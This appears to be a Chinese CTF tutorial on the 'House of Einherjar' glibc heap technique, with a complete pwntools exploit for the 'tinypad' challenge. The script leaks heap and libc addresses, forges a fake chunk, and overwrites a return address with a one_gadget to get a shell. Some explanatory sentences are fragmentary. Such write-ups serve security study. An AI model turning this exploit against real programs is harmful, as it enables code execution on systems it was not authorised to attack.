title: House Of Einherjar
date: 2018-04-14 15:44:59
categories:
house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作(合并低地址的chunk),从而使得尽可能避免碎片化。 此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。
free
函数中的后向合并核心操作如下:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
这里我们就介绍该利用的原理。首先,在之前的堆的介绍中,我们可以知道以下的知识
prev_size
字段,尤其是当低地址的 chunk 处于使用状态时,高地址的chunk的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size
字段。chunk_at_offset(p, -((long) prevsize))
。那么如果我们可以同时控制一个chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。
假设溢出前的状态如下
这里我们假设 p0 堆块一方面可以写prev_size字段,另一方面,存在off by one的漏洞,可以写下一个 chunk 的PREV_INUSE 部分,那么
假设我们将 p1的 prev_size 字段设置为我们想要的目的 chunk 位置与p1的差值。在溢出后,我们释放p1,则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize))
就是我们想要的 chunk 位置了。
当然,需要注意的是,由于这里会对新的 chunk 进行 unlink ,因此需要确保在对应 chunk 位置构造好了fake chunk 以便于绕过 unlink 的检测。
这里我们总结下这个利用技术需要注意的地方
其实,该技术与 chunk extend/shrink 技术比较类似。
首先,可以看出,程序以来一个核心的读取函数,即读取指定长度字节的字符串,然而,当读取的长度恰好为指定的长度时,会出现 off by one 的漏洞。
通过分析程序,我们不难看出,这个程序的基本功能是操作一个 tinypad,主要有以下操作
\x00
。最后程序将读取到 tinypad 前 256 字节的内容放到对应 memo 中。基本利用思路如下
具体利用脚本如下
Fast_bins -> chunk2 ->chun1
由于存在 UAF 所以可以泄露 chunk2地址, 减掉 chunk1 长度(0x80) 得到 heap_base
# 1. leak heap base
add(0x70, 'a' * 8) # idx 0
add(0x70, 'b' * 8) # idx 1
add(0x100, 'c' * 8) # idx 2
delete(2) # delete idx 1
delete(1) # delete idx 0, idx 0 point to idx 1
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True) # get pointer point to idx1
heap_base = u64(data.ljust(8, '\x00')) - 0x80
log.success('get heap base: ' + hex(heap_base))
free(chunk3) 到 unsorted_bin,由于是第一个unsorted_bin中的chunk所以 fb和bk指向 unsorted_bin起始?
经过调试,main_arena = unsorted_bin - 88 , libc_base = main_arena - main_arena_offset。
delete(3)
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True)
unsorted_offset_arena = 8 + 10 * 8
main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
libc_base = main_arena - main_arena_offset
log.success('main arena addr: ' + hex(main_arena))
log.success('libc base addr: ' + hex(libc_base))
常见 fake_chunk , 会将edit的数据先保存到 0x602040 的 0x100 中,然后strcpy 。
add(0x18, 'a' * 0x18) # idx 0
# we would like trigger house of einherjar at idx 1
add(0x100, 'b' * 0xf8 + '\x11') # idx 1
add(0x100, 'c' * 0xf8) # idx 2
add(0x100, 'd' * 0xf8) #idx 3
# create a fake chunk in tinypad's 0x100 buffer, offset 0x20
tinypad_addr = 0x602040
fakechunk_addr = tinypad_addr + 0x20
fakechunk_size = 0x101
fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(fakechunk_addr)
edit(3, 'd' * 0x20 + fakechunk)
# gdb.attach(p) fake_chunk
# overwrite idx 1's prev_size and
# set minaddr of size to '\x00'
# idx 0's chunk size is 0x20
diff = heap_base + 0x20 - fakechunk_addr
#diff 为 fakechunk_addr 到 第二块 之间的距离
log.info('diff between idx1 and fakechunk: ' + hex(diff))
# '\0' padding caused by strcpy
diff_strip = p64(diff).strip('\0')
log.success('diff_strip : '+ str(diff_strip))
number_of_zeros = len(p64(diff)) - len(diff_strip)
for i in range(number_of_zeros + 1):
# 因为之前有填充a, 需要配合edit是的off by null , 让低地址为为0 。
data = diff_strip.rjust(0x18 - i, 'f')
log.info('data : '+ str(data))
edit(1, data)
delete(2) # 合并前面的块,一直到 0x602040 ( tinypad_addr )
p.recvuntil('\nDeleted.')
正常情况下测 unsorted bin
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) + p64(main_arena + 88))
#unsorted_bins 要指向 <main_arena+88>
#======测试代码======
# add(0x100, 'c' * 8) # idx 2
# add(0x100, 'c' * 8) # idx 2
# delete(1)
# gdb.attach(p)
#===================
# overwrite malloc_hook with one_gadget
one_gadget_addr = libc_base + 0x45216 # one_gadget 工具得到 exc()函数偏移
environ_pointer = libc_base + libc.symbols['__environ']
log.info('one gadget addr: ' + hex(one_gadget_addr))
log.info('environ pointer addr: ' + hex(environ_pointer))
#fake_malloc_chunk = main_arena - 60 + 9
# set memo[0].size = 'a'*8,
# set memo[0].content point to environ to leak environ addr
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148)
# get a fake chunk
add(0x100 - 8, fake_pad) # idx 2
# get environ addr
p.recvuntil(' # CONTENT: ')
environ_addr = p.recvuntil('\n', drop=True).ljust(8, '\x00')
environ_addr = u64(environ_addr)
main_ret_addr = environ_addr - 30 * 8
# set memo[0].content point to main_ret_addr
edit(2, p64(main_ret_addr))
# overwrite main_ret_addr with one_gadget addr
edit(1, p64(one_gadget_addr))
gdb.attach(p)
p.interactive()
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
tinypad = ELF("./tinypad")
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
libc = ELF('./libc.so.6')
else:
p = process("./tinypad")
libc = ELF('./libc.so.6')
main_arena_offset = 0x3c4b20
log.info('PID: ' + str(proc.pidof(p)[0]))
def add(size, content):
p.recvuntil('(CMD)>>> ')
p.sendline('a')
p.recvuntil('(SIZE)>>> ')
p.sendline(str(size))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
def edit(idx, content):
p.recvuntil('(CMD)>>> ')
p.sendline('e')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
p.recvuntil('Is it OK?\n')
p.sendline('Y')
def delete(idx):
p.recvuntil('(CMD)>>> ')
p.sendline('d')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx))
def run():
p.recvuntil(
' ============================================================================\n\n'
)
# 1. leak heap base
add(0x70, 'a' * 8) # idx 0
add(0x70, 'b' * 8) # idx 1
add(0x100, 'c' * 8) # idx 2
delete(2) # delete idx 1
delete(1) # delete idx 0, idx 0 point to idx 1
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True) # get pointer point to idx1
heap_base = u64(data.ljust(8, '\x00')) - 0x80
log.success('get heap base: ' + hex(heap_base))
# 2. leak libc base
# this will trigger malloc_consolidate
# first idx0 will go to unsorted bin
# second idx1 will merge with idx0(unlink), and point to idx0
# third idx1 will merge into top chunk
# but cause unlink feture, the idx0's fd and bk won't change
# so idx0 will leak the unsorted bin addr
delete(3)
p.recvuntil(' # CONTENT: ')
data = p.recvuntil('\n', drop=True)
unsorted_offset_arena = 8 + 10 * 8
main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
libc_base = main_arena - main_arena_offset
log.success('main arena addr: ' + hex(main_arena))
log.success('libc base addr: ' + hex(libc_base))
# 3. house of einherjar
add(0x18, 'a' * 0x18) # idx 0
# we would like trigger house of einherjar at idx 1
add(0x100, 'b' * 0xf8 + '\x11') # idx 1
add(0x100, 'c' * 0xf8) # idx 2
add(0x100, 'd' * 0xf8) #idx 3
# create a fake chunk in tinypad's 0x100 buffer, offset 0x20
tinypad_addr = 0x602040
fakechunk_addr = tinypad_addr + 0x20
fakechunk_size = 0x101
fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(
fakechunk_addr)
edit(3, 'd' * 0x20 + fakechunk)
# overwrite idx 1's prev_size and
# set minaddr of size to '\x00'
# idx 0's chunk size is 0x20
diff = heap_base + 0x20 - fakechunk_addr
log.info('diff between idx1 and fakechunk: ' + hex(diff))
# '\0' padding caused by strcpy
diff_strip = p64(diff).strip('\0')
number_of_zeros = len(p64(diff)) - len(diff_strip)
for i in range(number_of_zeros + 1):
data = diff_strip.rjust(0x18 - i, 'f')
edit(1, data)
delete(2)
p.recvuntil('\nDeleted.')
# fix the fake chunk size, fd and bk
# fd and bk must be unsorted bin
edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) +
p64(main_arena + 88))
# overwrite malloc_hook with one_gadget
one_gadget_addr = libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']
log.info('one gadget addr: ' + hex(one_gadget_addr))
log.info('environ pointer addr: ' + hex(environ_pointer))
#fake_malloc_chunk = main_arena - 60 + 9
# set memo[0].size = 'a'*8,
# set memo[0].content point to environ to leak environ addr
fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(
environ_pointer) + 'a' * 8 + p64(0x602148)
# get a fake chunk
add(0x100 - 8, fake_pad) # idx 2
#gdb.attach(p)
# get environ addr
p.recvuntil(' # CONTENT: ')
environ_addr = p.recvuntil('\n', drop=True).ljust(8, '\x00')
environ_addr = u64(environ_addr)
main_ret_addr = environ_addr - 30 * 8
# set memo[0].content point to main_ret_addr
edit(2, p64(main_ret_addr))
# overwrite main_ret_addr with one_gadget addr
edit(1, p64(one_gadget_addr))
p.interactive()
if __name__ == "__main__":
run()